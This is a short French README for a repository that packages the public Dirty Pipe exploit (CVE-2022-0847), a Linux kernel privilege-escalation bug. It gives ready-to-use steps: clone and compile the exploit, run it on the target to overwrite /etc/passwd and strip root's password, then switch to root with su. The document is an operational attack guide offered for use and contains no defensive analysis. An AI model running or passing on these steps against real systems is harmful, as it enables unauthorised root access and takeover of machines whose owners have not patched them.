Dirty Pipe - CVE-2022-0847

Ceci est simplement le code et les instructions pour utiliser l'exploit de Max Kellermann pour CVE-2022-0847 (connu sous le nom de Dirty Pipe).

Veuillez vous rendre sur https://dirtypipe.cm4all.com/ pour en savoir plus sur le fonctionnement de l'exploit !

Comment utiliser

1. Téléchargez et compilez le binaire de l'exploit

git clone https://github.com/0xIronGoat/dirty-pipe.git
cd dirty-pipe
gcc exploit.c -o exploit

2. Sur la cible, exécutez le binaire

./exploit /etc/passwd 1 "${$(cat /etc/passwd)/root:x/oot:}"

3. Passez à root

su